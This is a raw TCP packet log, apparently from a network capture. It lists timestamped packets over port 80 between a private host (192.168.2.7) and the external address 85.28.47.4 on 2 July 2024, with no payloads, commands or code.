Jul 2, 2024 12:20:58.740812063 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740816116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.740823030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740833998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740844965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740848064 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.740855932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740879059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.740896940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.740931034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740942001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740952969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740962982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740966082 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.740982056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.740986109 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.740992069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741010904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741012096 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.741022110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741030931 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.741034031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741065025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.741094112 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.741384983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741395950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741408110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741417885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741420031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.741429090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.741440058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.741467953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.748823881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.748840094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.748847008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.748919010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.748924971 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.748930931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.748938084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749074936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749258995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749270916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749295950 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749336958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749357939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749368906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749380112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749389887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749391079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749408007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749411106 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749418974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749429941 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749445915 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749460936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749519110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749557972 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749586105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749598026 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749618053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749634981 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749694109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749706030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749716997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749726057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749728918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749743938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749763966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749916077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749927044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749938011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749948978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749953032 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749958992 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749969959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.749970913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749983072 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.749994040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750003099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750006914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750027895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750044107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750205040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750216007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750241041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750257015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750261068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750268936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750288010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750305891 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750399113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750411034 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750421047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750432014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750433922 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750443935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750458956 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750477076 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750642061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750652075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750662088 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750673056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750675917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750683069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750696898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750709057 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750715017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750725985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750736952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750736952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750746965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750756979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.750770092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.750802040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.751147032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.751158953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.751185894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.822966099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.822985888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.822995901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823002100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823029995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823071003 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823081970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823097944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823108912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823142052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823220015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823230982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823240995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823251963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823260069 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823262930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823282003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823302984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823364019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823386908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823407888 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823416948 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823481083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823491096 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823501110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823518991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823544979 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823558092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823595047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823596001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823606968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823632002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.823637962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.823673964 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.828934908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.828963995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.828975916 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829006910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829029083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829052925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829065084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829075098 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829087973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829108000 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829159975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829170942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829180956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829195023 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829215050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829329967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829340935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829350948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829360962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829368114 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829371929 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829381943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829391003 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829394102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829421997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829435110 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829533100 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829570055 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829586983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829623938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829629898 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829641104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829667091 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829688072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829690933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829701900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829726934 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829763889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829806089 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829807043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829818010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829837084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829860926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829906940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829917908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829927921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829937935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.829941034 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829953909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.829979897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.830077887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.830117941 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.830137968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.830147982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.830169916 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.830189943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.830220938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.830230951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.830240965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.830251932 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.830271959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837460995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837476969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837488890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837508917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837522984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837533951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837541103 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837543964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837569952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837585926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837620974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837632895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837642908 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837654114 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837655067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837668896 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837694883 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837749958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837779045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837786913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837790966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837811947 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837832928 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837850094 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837861061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.837888002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.837902069 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.838522911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.838562965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.838629961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.838670015 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.838686943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.838722944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.838803053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.838814974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.838838100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.838845968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.838855982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.838860035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.838865995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.838881016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.838896990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.838917017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839063883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839076042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839086056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839096069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839102030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839107037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839118958 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839133024 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839154959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839173079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839193106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839204073 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839215040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839235067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839246988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839312077 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839323044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839333057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839353085 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839382887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839473009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839483976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839494944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839505911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839509010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839517117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839526892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839540005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.839540005 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839565992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.839580059 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:58.913770914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:20:58.913906097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:59.235482931 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:20:59.241830111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:00.136789083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:00.136862993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:00.184037924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:00.188899994 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:00.889739990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:00.889817953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:01.624389887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:01.629399061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.335089922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.335201025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.742738008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.747634888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920285940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920324087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920334101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920345068 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920356989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920367956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920367002 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.920403004 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.920443058 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.920636892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920681953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.920685053 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920708895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920726061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.920741081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.920757055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920768023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920800924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.920835972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920847893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920857906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:02.920891047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:02.920917988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.002949953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.002973080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.002985001 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.002995014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003006935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003010035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.003020048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.003031015 CEST	80	49699	85.28.47.4	192.168.2.7
